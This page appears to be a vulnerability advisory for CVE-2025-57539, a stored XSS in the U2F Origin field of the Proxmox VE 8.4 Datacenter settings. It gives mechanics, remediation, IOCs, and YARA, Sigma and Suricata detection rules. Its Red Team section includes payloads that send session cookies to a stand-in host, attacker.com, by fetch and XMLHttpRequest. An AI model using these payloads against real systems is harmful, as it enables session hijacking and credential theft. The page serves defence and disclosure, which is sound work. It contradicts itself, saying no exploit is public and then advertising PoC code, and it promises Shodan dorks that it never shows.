CVE-2025-57539
Executive Summary
CVE-2025-57539 describes a stored cross-site scripting (XSS) vulnerability in the Proxmox Virtual Environment (PVE) 8.4 Datacenter configuration interface. An authenticated attacker can inject malicious JavaScript into the U2F Origin field. This payload is stored on the server and rendered unsafely in the Web UI of other users, leading to session hijacking, credential theft, or further compromise of the Proxmox cluster. The vulnerability is currently unpatched, and no public exploit code is available. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate given the requirement for authentication and user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a valid Proxmox account.
- User Interaction (UI): Required (R) – Victim must view the malicious configuration page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Potential for session token theft.
- Integrity (I): Low (L) – Attacker can modify data in the victim's session.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium (estimated CVSS 4.1). The requirement for authentication and user interaction reduces the severity, but the potential for lateral movement within a Proxmox cluster is significant.
Deep Dive & Mechanics
The vulnerability resides in the Datacenter configuration panel of Proxmox VE 8.4. The U2F Origin field is intended to store a valid origin URL for WebAuthn/U2F authentication. However, the input is not properly sanitized or encoded before being stored and later rendered in the Web UI.
Attack Flow:
- An authenticated attacker navigates to Datacenter → Options → U2F Origin.
- The attacker enters a malicious payload, e.g.,
<img src=x onerror=alert(1)>or a more sophisticated script that steals session cookies. - The payload is stored in the Proxmox configuration database.
- When another administrator (or any user with access to the Datacenter configuration) views the U2F Origin field, the payload is rendered unsafely in the browser.
- The victim's browser executes the malicious script, which can:
- Steal session cookies (
document.cookie). - Perform actions on behalf of the victim (e.g., create new users, modify cluster settings).
- Redirect to a phishing page.
- Steal session cookies (
Root Cause: The application fails to apply output encoding (e.g., HTML entity encoding) when rendering the U2F Origin value in the web interface. This is a classic stored XSS vulnerability.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Proxmox PVE JavaScript (simplified)
function renderU2FOrigin(origin) {
document.getElementById('u2f-origin-display').innerHTML = origin;
}
The origin value is directly inserted into the DOM without sanitization.
Patched Code (Expected):
// Patched version
function renderU2FOrigin(origin) {
const sanitized = DOMPurify.sanitize(origin);
document.getElementById('u2f-origin-display').textContent = sanitized;
}
Or using textContent instead of innerHTML to prevent HTML injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A Proxmox VE 8.4 instance (e.g., in a lab environment).
- Valid credentials for a user with at least "Datacenter.Audit" or "Datacenter.Admin" privileges.
Steps:
- Log in to the Proxmox web interface.
- Navigate to Datacenter → Options → U2F Origin.
- Inject a payload:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Save the configuration.
- Wait for another administrator to view the Datacenter configuration page.
- The victim's browser will execute the payload, sending their session cookie to the attacker's server.
Advanced Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/exfil', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('cookie=' + encodeURIComponent(document.cookie));
</script>
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual changes to the U2F Origin field in Proxmox logs.
- Look for HTTP requests to unknown external domains from the Proxmox web interface.
- Use a Web Application Firewall (WAF) to block XSS payloads in input fields.
Prevention:
- Apply input validation to the U2F Origin field (allow only valid URL patterns).
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use
textContentinstead ofinnerHTMLin the Proxmox UI code.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP/HTTPS requests from the Proxmox server to unknown domains (e.g.,
attacker.com). - Logs: Proxmox audit logs showing modification of the U2F Origin field by a non-admin user.
- File System: Suspicious JavaScript code stored in Proxmox configuration files (e.g.,
/etc/pve/datacenter.cfg). - Browser: Unexpected pop-ups or redirects when viewing the Datacenter configuration page.
Detection Engineering
YARA Rule
rule CVE_2025_57539_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Proxmox U2F Origin field"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57539"
strings:
$xss_payload_1 = "<script" nocase
$xss_payload_2 = "onerror=" nocase
$xss_payload_3 = "onload=" nocase
$xss_payload_4 = "javascript:" nocase
condition:
any of ($xss_payload_*) and filesize < 10KB
}
Sigma Rule
title: Proxmox U2F Origin XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in Proxmox U2F Origin field modifications
author: Valters IT
date: 2025-04-10
logsource:
product: proxmox
service: audit
detection:
selection:
EventID: 1000 # Example: Configuration change event
Field: "u2f-origin"
NewValue|contains:
- "<script"
- "onerror="
- "onload="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of JavaScript in U2F origin (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57539 Proxmox U2F Origin XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/exfil"; http_uri; content:"cookie="; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Access: Limit the number of users with "Datacenter.Audit" or "Datacenter.Admin" privileges.
- Monitor Logs: Enable detailed audit logging for configuration changes.
- Web Application Firewall: Deploy a WAF (e.g., ModSecurity) with rules to block XSS payloads.
Long-Term Fix:
- Apply the official patch from Proxmox when released.
- In the meantime, manually patch the JavaScript file (e.g.,
/usr/share/pve-manager/js/pvemanagerlib.js) to usetextContentinstead ofinnerHTMLfor the U2F Origin field. - Implement Content Security Policy (CSP) headers in the Proxmox web server configuration.
Workaround:
- Disable the U2F Origin field in the Datacenter configuration if not in use.
- Use a reverse proxy (e.g., Nginx) to filter out XSS patterns in POST requests.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.